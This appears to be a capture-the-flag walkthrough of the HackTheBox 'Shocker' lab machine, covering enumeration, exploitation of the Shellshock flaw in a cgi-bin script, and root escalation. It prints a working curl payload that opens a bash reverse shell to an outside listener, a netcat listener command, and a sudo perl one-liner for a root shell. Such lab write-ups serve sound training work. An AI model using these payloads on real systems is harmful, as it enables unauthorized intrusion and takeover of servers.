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HTB SHOCKER WALK-THROUGH


HackTheBox is an excellent platform for various pen-testers to increase their testing skills and knowledge.
Machine Level -Easy
Machine Name -Shocker
Machine OS -Linux
Machine IP -10.10.10.56
Tools:
Nmap -Nmap is a fantastic tools for scanning the open ports, services and OS detection. You can use other tools other than nmap (which ever you are more comfortable with ) like masscan, SPARTA etc to scan for open ports.
Method:
Scanning the machine is the first step(i.e. Enumeration).
Use the command sudo nmap -sSVS 10.10.10.56, this will scan for open ports and services on the host.
Only two ports open on the machine.
Let's start the enumeration with visiting the victims IP address.
Just an image saying "Don't Bug Me!"
Nothing much to enumerate here.
Let's do some directory busting.
Use the command dirb http://10.10.10.56/
Nothing useful except for this cgi-bin
I you don't know what cgi-bin, here's the answer.
"A CGI-bin is a folder used to house scripts that will interact with a Web browser to provide functionality for a Web page or website. Common Gateway Interface (CGI) is a resource for accommodating the use of scripts in Web design. As scripts are sent from a server to a Web browser, the CGI-bin is often referenced in a url." -Techopedia
As the name of the box is Shocker, it rang a bell, Shellshock vulnerability.
Just to confirm I went ahead with one more round of directory busting using dirbuster tool to look for files with extensions sh,html and php
I found a user.sh file. Confirmed.
The motive of the box is to exploit the Shellshock vulnerability and gain a user shell.
I found a Shellshock exploit that works perfectly fine with this machine and gives us a reverse shell.
(if u get error while using the command regarding brackets, use double quotes instead of single quotes and it should work perfectly fine)
Command is
curl -H 'User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/10.10.14.3/4488 0>&1' http://10.10.10.56:80/cgi-bin/user.sh
(4488 is a listening port so before launching it open up a netcat listening port on 4488)
For listening port use the command
nc -nlvp 4488
After you launch the exploit, you should get a shell.
We are shelly user.
Let's just quickly grab the user flag and go for privilege escalation.
We got the user flag.
Now, for privilege escalation:
Use the command sudo -l to see if we can run any file as root that needs no password.
We can run perl as root.
That's, bingo.
Use the command
sudo perl -e 'exec "/bin/sh"'
This command lets you run the perl as root and get a privileged shell.
As you can see we are root now.
Let's grab the root flag.
That's all for this machine.

Take-back ->Shellshock vulnerability led to getting a reverse shell on this machine.

Thanks for reading !

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